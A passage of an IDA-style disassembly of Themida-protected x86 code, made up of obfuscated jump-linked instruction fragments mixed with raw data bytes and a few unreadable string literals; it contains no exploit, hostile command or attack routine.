dd 4, 8904EC83h, 4CB82404h, 481C744Eh, 134ABF57h, 0BE56290Dh
dd 167421CBh, 436E681h, 0E6C11C76h, 0C1D6F703h, 0C68108E6h
dd 0D19B699Ch, 348BF709h, 5635E924h, 30BD0000h, 4D59225Eh
dd 5E2BF581h, 0E9E95922h, 81000031h, 4C2h, 1EEC6800h, 3C890000h
dd 9BF24h, 0C781626Ah, 658637A5h, 37ACF781h, 0FA01C7F0h
dd 20E9525Fh
db 37h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_548C2B: ; CODE XREF: Themida_:0054A3EBj
pop esp
pop ecx
sub ecx, 7E3C2A4Eh
push 33DAh
mov [esp], ecx
push esp
mov ecx, [esp]
jmp loc_5509ED
; ---------------------------------------------------------------------------
dd 0EB80C328h, 0C0B60FE7h, 528734FFh, 3D0F12BAh, 24540137h
dd 48B5A04h, 4C48124h, 0E9000000h, 1267h
; ---------------------------------------------------------------------------
loc_548C68: ; CODE XREF: Themida_:00548FBAj
mov edi, ecx
pop ecx
push ebp
mov ebp, 4B334907h
inc ebp
inc ebp
jmp loc_54BB27
; ---------------------------------------------------------------------------
dd 4C7835Dh, 7B1368h, 243C8900h, 42474FFh, 24048F5Fh, 0E9C15Ch
dd 840FC009h, 80B6h, 4EC81h, 34890000h, 0E3895324h, 4C381h
dd 0EB810000h, 4, 0E9241C87h, 57ADh
; ---------------------------------------------------------------------------
loc_548CB8: ; CODE XREF: Themida_:0054E0F2j
pop eax
push 66BAh
mov [esp], eax
mov al, 48h
sub cl, al
jmp loc_54F21F
; ---------------------------------------------------------------------------
loc_548CCA: ; CODE XREF: Themida_:0054DF36j
push ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
jmp loc_54F2FF
; ---------------------------------------------------------------------------
loc_548CDD: ; CODE XREF: Themida_:00551496j
pop ecx
push 6388h
mov [esp], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
mov [esp], ebx
pop eax
sub esp, 4
mov [esp], edi
push edx
jmp loc_5528D4
; ---------------------------------------------------------------------------
dw 0C683h
dd 0DFA9E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548D0A: ; CODE XREF: Themida_:00551E8Ej
mov edx, 1092503h
xor edx, ebp
mov ebp, [esp]
add esp, 4
jmp loc_5500A7
; ---------------------------------------------------------------------------
db 31h
dd 14332414h, 24248B24h, 582434FFh, 4EC81h, 38E90000h
db 4Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_548D37: ; CODE XREF: Themida_:0054D8D0j
mov eax, [esp]
jmp loc_546DCD
; ---------------------------------------------------------------------------
db 52h
dd 0C2815A54h, 4, 4B850h, 0C2010000h, 642CE9h, 0E9565900h
dd 0FFFFE41Dh
; ---------------------------------------------------------------------------
loc_548D5C: ; CODE XREF: Themida_:00551640j
push ebx
mov ebx, 62AB068Ah
sub edx, ebx
pop ebx
mov ebx, edx
jmp loc_551FB4
; ---------------------------------------------------------------------------
loc_548D6C: ; CODE XREF: Themida_:0054AF21j
pop ebx
add esp, 4
jmp loc_54C485
; ---------------------------------------------------------------------------
dd 81241C8Bh, 4C4h, 0E9EF0100h, 6BC9h, 594EC281h, 0D3E950DEh
dd 81000089h, 0E30499E3h, 5EF38126h, 0E9445E1Fh, 6CCAh
dd 0E580C1B5h, 1CED8052h, 29B652h, 670FE9F0h, 9C500000h
dd 0FFD44DE9h, 0E9E9F7FFh, 0FFFFF559h, 0BB241C89h, 61607C67h
dd 3F98EB81h, 4EE90AD4h, 5000005Ah, 6FABE9h, 3EDC100h
dd 0C581D5F7h, 91CF5805h, 8B5DE829h, 8956243Ch, 4C681E6h
dd 0E9000000h, 0FFFFFF06h, 240C8B66h, 4E61E9h, 0E9C32900h
dd 0FFFFE57Ch, 0FAE95266h, 81000048h, 4ECh, 7A2EE900h
dd 2BF0000h, 0E9000000h, 0FFFFF3B3h, 1DFC381h, 0EB8162C4h
dd 687503DAh, 0C381EB01h, 687503DAh, 0B20E9h, 0E9CAFE00h
dd 9D2h, 40B9515Ch, 1000000h, 0E68956F9h, 4C681h, 0EE830000h
dd 24348704h, 242C895Ch, 2DBD5550h, 3120BE44h, 5D04246Ch
dd 2DF5815Dh, 5020BE44h, 0B8h, 89C80100h, 2434FF28h, 0DB4EE958h
dd 805BFFFFh, 0ED8067F5h, 1B90E9D3h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_548E96: ; CODE XREF: Themida_:005484FBj
mov ecx, [esp]
jmp loc_5525E3
; ---------------------------------------------------------------------------
dw 6658h
dd 57241C8Bh, 58B6E9h, 240C8900h, 0BB22CAB9h, 57E9810Fh
dd 8115AD42h, 0F21F91C1h, 59CF0105h, 0FFEA9CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_548EC5: ; CODE XREF: Themida_:0054C94Ej
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
jmp loc_54E5DB
; ---------------------------------------------------------------------------
dd 4BDh, 0E9EA0100h, 0FFFFD56Eh, 0E2DBE95Fh, 0B4B9FFFFh
dd 2946232Bh, 13E959C8h, 66FFFFD7h, 2FF4E681h, 338BE9h
db 0
; ---------------------------------------------------------------------------
loc_548F01: ; CODE XREF: Themida_:0054E7FAj
mov ebp, 52706D6Fh
jmp loc_549CB9
; ---------------------------------------------------------------------------
db 81h
dd 4C6h, 4C68300h, 8B243487h, 3682424h, 89000060h, 5F54243Ch
dd 1527E9h, 0E9DE8800h, 2E79h, 0E904EC83h, 21E6h, 875AD701h
dd 0FF5C243Ch, 83582434h, 1C8904ECh, 0E988E924h, 3489FFFFh
dd 82BF5724h, 8145030Fh, 6F0A35F7h, 81DFF76Bh, 1EFh, 7FE78100h
dd 87739E44h, 0F4BCE9D7h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548F72: ; CODE XREF: Themida_:005481B1j
inc esi
add esi, 1
jmp loc_54D5A5
; ---------------------------------------------------------------------------
dw 0C280h
dd 80C200D5h, 5066D5EAh, 9467E9h
db 0
; ---------------------------------------------------------------------------
loc_548F8D: ; CODE XREF: Themida_:005475BDj
add ebp, 0FB87D0FCh
add esi, ebp
pop ebp
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
push edi
push 18C7h
mov [esp], esi
mov esi, 7E1B6367h
push ecx
mov ecx, 81E89C99h
jmp loc_548C68
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 51536600h, 0B75357B1h, 2BF7803Bh, 855B551h, 0C78059EFh
dd 0B65266F6h, 3062E9BEh, 0E95E0000h, 52DAh, 2B05EE81h
dd 7701C3FEh, 815A5E20h, 4ECh, 242C8900h, 4C104CBDh, 7DD7E97Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_549006: ; CODE XREF: Themida_:00546D7Ej
xor edi, edx
jmp loc_54DCD1
; ---------------------------------------------------------------------------
db 1, 0D9h, 5Bh
dd 12E6E9h, 24248B00h, 40D7E950h, 0C1BA0000h, 0E94FB337h
dd 2866h
db 83h, 0C4h, 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_55040B
; ---------------------------------------------------------------------------
loc_54903F: ; CODE XREF: Themida_:0054D4D6j
pop esi
mov ebx, ebp
pop ebp
jmp loc_54620A
; ---------------------------------------------------------------------------
dd 81E18951h, 4C1h, 4E98300h, 5C240C87h, 83242489h, 5A042404h
dd 0FFDE0BE9h, 665966FFh, 50241C8Bh, 17F0E9h, 4C58100h
dd 81000000h, 4ECh, 24348900h, 4BEh, 23E6E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54908A: ; CODE XREF: Themida_:005485DAj
push ebx
mov bh, 0AEh
jmp loc_548684
; ---------------------------------------------------------------------------
dw 875Bh
dd 815C2404h, 3C6242Ch, 4815130h, 3D6E6A24h, 24040155h
dd 6A242C81h, 0E9553D6Eh, 18F9h, 4DE9CB01h, 81FFFFF9h
dd 102ADCC2h, 81DA0118h, 102ADCEAh, 13C28118h, 5B5BAE74h
dd 2C281h, 14870000h, 24248B24h, 9C240400h, 0FFD125E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5490E5: ; CODE XREF: Themida_:00547682j
add ecx, edi
mov [ecx], esi
mov ecx, [esp]
add esp, 4
pop esi
shr dword ptr [edi+20h], 4
sub esp, 4
mov [esp], ebx
mov ebx, 7E175CB3h
jmp loc_548656
; ---------------------------------------------------------------------------
dd 5D2414F7h, 7F3CF581h, 0DDF73B21h, 115CF581h, 0E801160Ah
dd 2DD8295Dh, 662E36E2h, 345EE9h, 24248B00h, 240C8B66h
dd 50E18951h, 793AC7B8h, 0D8F74861h, 5C0CBF57h, 0E78101E7h
dd 33564A2h, 2E01BD55h, 0EF014E6Fh, 0E9F8295Dh, 5584h
dd 4C481h, 0FBE90000h
db 7Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54915F: ; CODE XREF: Themida_:0054E148j
push ecx
mov ecx, 0DD310E3h
push edx
mov edx, 57924C99h
jmp loc_54E43F
; ---------------------------------------------------------------------------
dd 850340BEh, 8DFCE913h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54917A: ; CODE XREF: Themida_:0054AD45j
pop esi
shl ebx, 6
push ebp
mov ebp, 267F31D7h
and ebx, ebp
pop ebp
dec ebx
dec ebx
sub ebx, 441107Ch
add edx, ebx
pop ebx
push edx
push dword ptr [esp+4]
pop edx
jmp loc_54EFF1
; ---------------------------------------------------------------------------
db 81h, 0EAh, 0D1h
dd 810D1F4Fh, 540E53C2h, 4E2C110h, 0E4D3F281h, 0D301BDAEh
dd 7EC3815Ah, 5A275434h, 4EC81h, 0D2E90000h
db 71h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5491C7: ; CODE XREF: Themida_:0054E336j
add al, 82h
push dx
push 16F9h
jmp loc_54A966
; ---------------------------------------------------------------------------
db 54h, 0E9h, 0F6h
dd 59FFFFE3h, 53E28952h, 4BBh, 5BDA0100h, 4EA81h, 14870000h
dd 5B43E924h, 0C890000h, 5ADFB924h, 0E181591Eh, 63767C62h
dd 9029E9h, 242C8700h, 68B3685Ch, 2C890000h, 17E8E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54921A: ; CODE XREF: Themida_:0054F753j
add eax, esi
pop esi
jmp loc_54D343
; ---------------------------------------------------------------------------
dw 48Fh
dd 8E13E924h, 0EDD10000h, 2C7AE9h, 4E7C100h, 2129EF81h
dd 0C7814004h, 4F8E5627h, 0C7814F47h, 2E019411h, 3C8BF989h
dd 4C48324h, 1839E981h, 0E9814F56h, 0B6E5F3C2h, 0E959CF01h
dd 1004h, 0F681DEF7h, 20400Ch, 0FFD578E9h, 0EE815EFFh
dd 67B55542h, 6EEC15Bh, 156968h, 242C8900h, 0DD171FBDh
dd 448CE91Dh, 88680000h, 89000012h, 0E2892414h, 4C281h
dd 83680000h, 89000021h, 3CE9242Ch, 53000038h, 0C3815B54h
dd 4, 6804C383h, 4D09h, 0FF241C89h, 5B042474h, 8B24048Fh
dd 0E0E92424h
db 43h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5492CF: ; CODE XREF: Themida_:0054C0E7j
push esi
mov esi, 7A78125Bh
dec esi
xor esi, 745B1C1Bh
jmp loc_550D2C
; ---------------------------------------------------------------------------
db 81h, 0EEh, 6Ch
dd 5D792B2Fh, 8103E6C1h, 10571CF6h, 0FFF301F6h, 815E2434h
dd 4C4h, 2EB8100h, 53000000h, 42474FFh, 24048F5Bh, 2B6E9h
dd 4C48100h, 0E9000000h, 0FFFFE306h, 0E9E18951h, 0FFFFE846h
dd 0C383D387h, 0E3814BFFh, 471F6F0Ch, 0F9CCC381h, 0DA31286Ah
dd 0FBFAE95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54933E: ; CODE XREF: Themida_:0054F31Fj
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ecx
mov ch, al
mov bh, ch
pop ecx
jmp loc_54F1BD
; ---------------------------------------------------------------------------
loc_549359: ; CODE XREF: Themida_:00550E45j
add al, bl
pop ebx
inc al
not al
jmp loc_5469A0
; ---------------------------------------------------------------------------
db 0ACh, 0E9h, 18h
db 70h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54936B: ; CODE XREF: Themida_:00547E82j
shl eax, 2
dec eax
jmp loc_548822
; ---------------------------------------------------------------------------
loc_549374: ; CODE XREF: Themida_:005495ADj
mov edx, [esp]
add esp, 4
xchg eax, [esp]
jmp loc_549CD6
; ---------------------------------------------------------------------------
loc_549385: ; CODE XREF: Themida_:0054C9EFj
add esi, 1
add esi, 583195ACh
push esi
pop edx
pop esi
add edx, 50D64692h
add edx, ebp
sub edx, 50D64692h
mov ebp, [esp]
add esp, 4
loc_5493AB: ; CODE XREF: Themida_:loc_54C9B3j
; Themida_:loc_54EA35j
push dword ptr [edi+24h]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push ebp
jmp loc_546F22
; ---------------------------------------------------------------------------
db 89h, 0Ch, 24h
aXfniSp db '¹Ùxän‰ËéP}',0
align 4
dd 0E902C083h, 52A6h, 0C8B60F66h, 0E99C5166h, 0FFFFCE2Ah
; ---------------------------------------------------------------------------
loc_5493E0: ; CODE XREF: Themida_:00547473j
mov al, 82h
shl al, 5
jmp loc_550E42
; ---------------------------------------------------------------------------
dw 0C281h
dd 0FC3AC705h, 3CC3EE81h, 0FBE97CEBh, 100001Bh, 0BE565BDAh
dd 64E2931h, 81DEF746h, 476EECCEh, 0BD5500h, 29000000h
dd 5DEE87F5h, 52EFE681h, 0F68129DDh, 80000h, 875EF201h
dd 0F9E92414h, 1000041h, 24348BF5h, 4C481h, 0EC810000h
dd 4, 0FFFB09E9h, 4EC81FFh, 0E9000000h, 5F1Bh
; ---------------------------------------------------------------------------
loc_549450: ; CODE XREF: Themida_:0054E396j
xor edi, 74C2264Ch
dec edi
push edx
mov edx, 1AEF7816h
shr edx, 2
not edx
jmp loc_546BCC
; ---------------------------------------------------------------------------
aXs?_0 db ')ÁXéÓ?',0
dw 0AD00h
dd 4EC81h, 14890000h, 2C0BBA24h, 50511E7Ch, 135FC7B8h
dd 58C18925h, 8103E9C1h, 7454BCE1h, 59C18160h, 4127B869h
dd 0CB14C181h, 0C80156CBh, 7F79E9h, 2C102C00h, 8ED0E9E2h
dd 2C8B0000h, 3D70E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5494B6: ; CODE XREF: Themida_:0054D8DCj
mov [esp], ebx
mov ebx, esp
jmp loc_54A4C7
; ---------------------------------------------------------------------------
dd 24048150h, 163C1CBAh, 340CE95Dh, 0C890000h, 3533B924h
dd 0E9812668h, 9986B899h, 0FFF01FE9h, 48F54FFh, 24048124h
dd 4, 81E9535Ah, 8BFFFFE2h, 0C483240Ch, 7DBE5604h, 81096828h
dd 1B790BE6h, 5BF5715h, 29010828h, 0F1015FFEh, 8124348Bh
dd 4C4h, 16DC6800h, 3FE90000h, 5C000056h, 0FFEE7DE9h, 241C87FFh
dd 6424248Bh, 0D3E90288h, 68FFFFCCh, 7CAEh, 89241489h
dd 4C281E2h, 81000000h, 4EAh, 24148700h, 0E924248Bh, 0FFFFED7Dh
dd 6500EB81h, 0EB817DD3h, 3AC73955h, 2434FF50h, 4B48E95Ah
dd 0C1810000h, 5B22227Fh, 4E59CE89h, 4E05E6C1h, 0FFD43AE9h
dd 0E18951FFh, 62D4BA52h, 0EA81363Bh, 363B62D0h, 0D9E9D101h
db 2Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_549597: ; CODE XREF: Themida_:0055093Dj
pop esp
mov [esp], esp
add dword ptr [esp], 4
pop eax
add eax, 4
push edx
mov edx, 4
add eax, edx
jmp loc_549374
; ---------------------------------------------------------------------------
dw 0E089h
dd 53ECBD55h, 0F5812EF9h, 2EF953E8h, 36E9E801h, 8BFFFFE9h
dd 0F0E92424h, 8900001Bh, 879DE9F3h, 0BC680000h, 8900002Dh
dd 0E389241Ch, 4C381h, 0EB810000h, 4, 31241C33h, 1C33241Ch
dd 838BE924h, 555F0000h, 1AAEE9h
db 0
; ---------------------------------------------------------------------------
loc_549601: ; CODE XREF: Themida_:00548651j
push edi
mov edi, 762B1A84h
not edi
shr edi, 4
jmp loc_549C3B
; ---------------------------------------------------------------------------
db 56h, 0BEh, 95h
dd 0BF3FF879h, 5924C622h, 74E9F729h
db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549623: ; CODE XREF: Themida_:0054C194j
jmp loc_54620A
; ---------------------------------------------------------------------------
dd 8B24048Fh, 0F1F72424h, 904EE952h, 0F3890000h, 0E92434FFh
dd 1050h, 5205E8C1h, 126A32BAh, 5AD03174h, 74E06E05h, 3481508Bh
dd 0C00F5524h, 0BE95A76h, 1000082h, 34875DEEh, 14875C24h
dd 89665C24h, 61E9240Ch, 53FFFFFDh, 3C55BD55h, 0F58119D3h
dd 3B2E75F9h, 192CED81h, 0F58153BFh, 8DBE749Dh, 4477E9h
dd 4B85000h, 1000000h, 58042444h, 5E2434FFh, 4C481h, 0C6810000h
dd 4, 2B951h, 0CE010000h, 8BBAE9h, 0B5515200h, 47B35324h
dd 883EC380h, 0EA005BDAh, 0CAD6859h, 0C890000h, 0EBB75324h
dd 0CFE9D6B5h, 2C00001Eh, 981E93Bh, 0C6680000h, 5D23B622h
dd 4FCD81h, 0F5812E41h, 87A0B04h, 0B95DEB89h, 278D29D5h
dd 0AFE9D929h, 5EFFFFF3h, 52FCE952h, 1ABB0000h, 81643562h
dd 4A1EEAEBh, 0E9D831F9h, 1720h, 0B050665Bh, 66C520A3h
dd 7DB45058h, 28E3F480h, 0C5FE58E5h, 8023C580h, 0C3808CC3h
dd 80EB28F5h, 0B652F5EBh, 0E9D6F69Bh, 0FFFFCD34h, 0E9242C87h
dd 38Dh, 21B652ACh, 0E9EDB450h, 6A2Fh, 0E681DEF7h, 9982EA4h
dd 26C0F681h, 0EE8168CAh, 5FCA100Ah, 622BBD55h, 314D0E29h
dd 31EE31F5h, 4EC81F5h, 0E9000000h, 8F45h, 0BE564B58h
dd 0ADBFE005h, 15EF301h, 0F8F8E9D8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54979A: ; CODE XREF: Themida_:0054B6AEj
mov ch, 0CAh
push edx
mov dh, 20h
sub bl, dh
pop edx
add bl, ch
add bl, 20h
mov ecx, [esp]
add esp, 4
jmp loc_54A4F6
; ---------------------------------------------------------------------------
aIcs6a db '‰çé6€',0
db 0
; ---------------------------------------------------------------------------
loc_5497B9: ; CODE XREF: Themida_:0054CF53j
mov ebp, esp
add ebp, 4
push ebx
mov ebx, 404373DCh
jmp loc_552908
; ---------------------------------------------------------------------------
dword_5497CC dd 81242489h, 42404h, 48F0000h, 1C6BE924h, 0E5890000h
dd 4C581h, 0C5830000h, 242C8704h, 30EA815Ch, 100027Dh
dd 30C281F2h, 0FF00027Dh, 93E92434h, 81000065h, 4C5h, 4C58100h
dd 33000000h, 2C31242Ch, 6984E924h, 51530000h, 0CF88D188h
dd 88E28859h, 0EC805BFCh, 7BF48055h, 0FCE9E608h, 31000043h
dd 3C33243Ch, 0F0BFE924h, 0B850FFFFh, 7A8070B3h, 5404848h
dd 6710447Fh, 0BB53D0F7h, 3B1E0C44h, 64B7BA52h, 0D3216443h
dd 8124148Bh, 4C4h, 8CE38100h, 0E9151B6Ch, 9085h, 0E951D3F7h
dd 0FFFFE151h, 4EBB753h, 88B8E9DFh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_549882: ; CODE XREF: Themida_:0054E207j
add esp, 4
sub ebx, 3A655FD2h
jmp loc_54B555
; ---------------------------------------------------------------------------
loc_549893: ; CODE XREF: Themida_:00551A63j
and ebx, ebp
pop ebp
jmp loc_551054
; ---------------------------------------------------------------------------
loc_54989B: ; CODE XREF: Themida_:0054A0F0j
add ebp, 4
xchg ebp, [esp]
pop esp
shr esi, 3
jmp loc_5513A8
; ---------------------------------------------------------------------------
dw 0F181h
dd 9030C405h, 8359CB01h, 0BAE904C3h, 0FF00003Eh, 8B042474h
dd 0B8E9240Ch
db 24h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5498C7: ; CODE XREF: Themida_:0054DB45j
push ecx
mov ecx, 2A603CF9h
xor ecx, 0A1AF3475h
xor esi, ecx
pop ecx
push esi
mov esi, 2E852296h
add esi, 2D71F02h
add ebx, esi
pop esi
sub ebx, esi
sub ebx, 315C4198h
pop esi
push 0AD4h
mov [esp], ecx
mov ecx, 2D1F1118h
and ebx, ecx
pop ecx
or ebx, 58034521h
push edx
jmp loc_549DAE
; ---------------------------------------------------------------------------
aRs_0 db '^Réì!',0
dd 2C48100h, 0E9000000h, 3CC4h, 9D1C77FFh, 0D3665966h
dd 0E99C241Ch, 832Eh, 8104C483h, 4C4h, 3C0E900h, 0D1290000h
dd 4CC2C181h, 31E978AAh, 5EFFFFDBh, 4C281h, 14870000h
dd 0B3E95C24h
db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549957: ; CODE XREF: Themida_:0054DB3Aj
mov ebx, 4
jmp loc_54A41F
; ---------------------------------------------------------------------------
db 81h, 0EBh, 0DFh
dd 5D62C401h, 31241C33h, 1C33241Ch, 24248B24h, 0F66F1F6h
dd 6866CCB6h, 89662405h, 0F66240Ch, 38E9C8B6h, 8100001Dh
dd 0CBE82BC2h, 5AD189E9h, 3444F181h, 882D7367h, 83098933h
dd 3C8904ECh, 6593BF24h, 0E7683F02h, 8900001Ch, 0EC81241Ch
dd 4, 0A3EE9h, 0E3895300h, 2CA1E9h, 68C16800h, 2C890000h
dd 0E9E58924h, 65AFh, 8108E5C1h, 0E858BDF5h, 0C581453Ch
dd 4F1B455Ah, 55DE889h, 21591E75h, 0FFFF0548h, 88E9FFFFh
dd 5A00006Ah, 0BBE9242Ch, 5C00002Ch, 5FCAE9h
db 0
; ---------------------------------------------------------------------------
loc_549A05: ; CODE XREF: Themida_:0054F8D9j
mov [esp], bx
jmp loc_5510F0
; ---------------------------------------------------------------------------
loc_549A0E: ; CODE XREF: Themida_:005462BAj
mov edi, 45F83C07h
dec edi
jmp loc_54E9DE
; ---------------------------------------------------------------------------
loc_549A19: ; CODE XREF: Themida_:0054C498j
add esi, 4
add esi, 4
xor esi, [esp]
xor [esp], esi
jmp loc_54C18E
; ---------------------------------------------------------------------------
dd 131468h, 241C8900h, 6C17B951h, 4C017BE7h, 0E9590424h
dd 144Fh
; ---------------------------------------------------------------------------
loc_549A48: ; CODE XREF: Themida_:00547B1Ej
sub ebp, 7EFF425Dh
xor ebp, 2D541187h
add ebp, 0FFFFFFFFh
push 4CB1h
mov [esp], ebp
dec dword ptr [esp]
pop ebp
push ecx
mov ecx, 58986F47h
sub ecx, 0FFFFFFFFh
neg ecx
neg ecx
shr ecx, 8
xor ecx, 0B92F23DEh
xor ebp, ecx
pop ecx
sub edi, ebp
pop ebp
not edi
inc edi
push 3C2Fh
mov [esp], esi
jmp loc_5487BB
; ---------------------------------------------------------------------------
dw 0BB53h
dd 7EA47526h, 12754305h, 732FE97Dh, 0E9810000h, 77FB6B26h
dd 8A30E95Dh, 0D9F70000h, 76B6E9h, 2434FF00h, 6CFDE9h
dd 4C02BE00h, 0DEF72CD2h, 52ECE681h, 0EEC163CBh, 413AE905h
dd 0C6810000h, 10205031h, 0FFD15DE9h, 1C895CFFh, 0BB24h
dd 57E90000h, 53000043h, 73116ABBh, 2A44E915h, 454D0000h
dd 0A9EEC581h, 0EA09C919h, 0DAF7425Dh, 0FFFFC281h, 1AE9FFFFh
dd 2D00001Ah, 29A3027Dh, 97BD555Ah, 8118632Bh, 0A22CEAC5h
dd 0DDE95532h
db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549B27: ; CODE XREF: Themida_:0054EAD5j
dec bl
sub bl, 0FFh
sub bl, 0D9h
jmp loc_5517C8
; ---------------------------------------------------------------------------
dd 58C5015Fh, 8702ED83h, 3DE9242Ch, 0BEFFFFCDh, 4F206024h
dd 15EF729h, 24C781DFh, 814F2060h, 2663E2C7h, 241C8B0Eh
dd 4C481h, 0C7830000h, 243C8702h, 6624248Bh, 8124048Bh
dd 4ECh, 242C8900h, 0E9505D54h, 750Ch, 9D1C77FFh, 0D3665966h
dd 0E99C2414h, 0FFFFC67Ah, 20560BBh, 5BD8011Fh, 91274E05h
dd 2DD00174h, 7491274Eh, 205602Dh, 0EA5BE91Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549BAE: ; CODE XREF: Themida_:005516AAj
not ecx
sub ecx, 21031397h
xor ecx, 13CA128h
jmp loc_54B660
; ---------------------------------------------------------------------------
loc_549BC1: ; CODE XREF: Themida_:0054C4EAj
pop ecx
mov dl, al
mov eax, [esp]
jmp loc_552759
; ---------------------------------------------------------------------------
loc_549BCC: ; CODE XREF: Themida_:00546496j
add ebp, 4
xchg ebp, [esp]
jmp loc_54F1F3
; ---------------------------------------------------------------------------
loc_549BD7: ; CODE XREF: Themida_:0054C661j
sub al, 0Fh
add al, 0B8h
pop cx
add al, 0B7h
add al, 6Fh
add al, bl
sub al, 6Fh
sub al, 0B7h
jmp loc_547CE0
; ---------------------------------------------------------------------------
dd 3BFFE955h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_549BF2: ; CODE XREF: Themida_:0054F705j
or bl, 3Dh
jmp loc_54EAD3
; ---------------------------------------------------------------------------
dw 248Bh
dd 81FFE924h, 0EF810000h, 4, 22E3E9h, 0EC815200h, 4, 24048F54h
dd 4240483h, 0FEBF575Ah, 0C112DE56h, 504703EFh, 0F15D1B8h
dd 58C70978h, 0DFEDEF81h, 58E97A5Fh
db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549C3B: ; CODE XREF: Themida_:0054960Cj
and edi, 40B47A7Fh
xor edi, 66416312h
and ebp, edi
pop edi
add ebp, 9B7BD800h
add edi, ebp
pop ebp
push 6331h
mov [esp], ebp
mov ebp, 4
add edi, ebp
jmp loc_54A47A
; ---------------------------------------------------------------------------
db 0BDh
dd 4473219Eh, 505DEA01h, 8717D0B8h, 0D0F74036h, 0C103E0C1h
dd 4B0D07E8h, 0E924ED24h, 2F32h, 400B951h, 4F090000h, 2434FF1Ch
dd 4EC8359h, 89243C89h, 0D567E9E7h, 1968FFFFh, 89000037h
dd 68E9241Ch, 66000081h, 0D83166ADh, 0FFC89AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_549CB9: ; CODE XREF: Themida_:00548F06j
push edx
mov edx, 12FC4CA0h
jmp loc_54E96A
; ---------------------------------------------------------------------------
dd 0E9D00059h, 0FFFFFD2Bh, 0EF4E37BAh, 0F0B2E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549CD6: ; CODE XREF: Themida_:00549380j
pop esp
push 751h
mov [esp], ebx
sub esp, 4
mov [esp], edx
jmp loc_550E08
; ---------------------------------------------------------------------------
db 87h, 0Ch, 24h
dd 0FF24248Bh, 0C510E930h, 0FF59FFFFh, 34FF2434h, 2434FF24h
dd 6165E9h, 378E6800h, 0C890000h, 4EC8324h, 0E9242489h
dd 876Dh, 2FE9D088h, 83000019h, 80E904C4h
db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549D2B: ; CODE XREF: Themida_:0054D43Dj
shr edi, 2
jmp loc_551DEF
; ---------------------------------------------------------------------------
loc_549D33: ; CODE XREF: Themida_:0054BF21j
and eax, ebx
jmp loc_54824D
; ---------------------------------------------------------------------------
dw 0B68h
dd 89000012h, 0BD552424h, 4, 0FFD972E9h, 2BE56FFh, 1000000h
dd 2434FFF7h, 4C4835Eh, 0E9243C87h, 5E8h, 0A8BF5751h, 0E957EC08h
dd 861Eh, 57F2815Ah, 0C157F41Fh, 814206EAh, 246C6AEAh
dd 42ABE9CCh, 48B0000h, 27C56824h, 4890000h, 51E08924h
dd 5C1ACDB9h, 0D1C5E95Eh, 0C481FFFFh, 4, 44C38166h, 0D974E962h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549DAE: ; CODE XREF: Themida_:00549905j
mov edx, 451D76D6h
xor edx, 593C4B69h
sub edx, 0E1522D8Dh
sub ebx, edx
pop edx
xor ecx, ebx
jmp loc_5484F5
; ---------------------------------------------------------------------------
db 29h, 0FEh, 52h
dd 8AF7E9h, 89505800h, 405E0h, 47E90000h, 89000011h, 5332E9E1h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_549DE6: ; CODE XREF: Themida_:0054CCE3j
pop edi
push esi
mov esi, 35D31FBDh
sub esi, 28C138BCh
add esi, 0A18777F0h
xor edi, esi
jmp loc_54EA54
; ---------------------------------------------------------------------------
dd 4EC81h, 4890000h, 5D14B824h, 35405F12h, 5EC73899h, 4C05D0F7h
dd 0E939BB7Ch, 58D3h, 4C1815Fh, 33000000h, 0C31240Ch, 240C3324h
dd 69B4E9h
db 0
; ---------------------------------------------------------------------------
loc_549E35: ; CODE XREF: Themida_:00547C34j
add eax, edi
jmp loc_550158
; ---------------------------------------------------------------------------
dd 56241C89h, 0B1244CBEh, 68DEF758h, 77DAh, 0E9243489h
dd 1BCBh
; ---------------------------------------------------------------------------
loc_549E54: ; CODE XREF: Themida_:00550179j
pop eax
push edx
mov edx, 1C984A28h
push esi
jmp loc_551690
; ---------------------------------------------------------------------------
db 0BBh, 0B4h, 0Eh
dd 0F381775Fh, 4C8C90FEh, 0B0E9DF29h
db 3Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_549E73: ; CODE XREF: Themida_:0054621Dj
add esp, 4
sub al, 67h
add al, 0DCh
add al, bl
push ecx
mov cl, 65h
inc cl
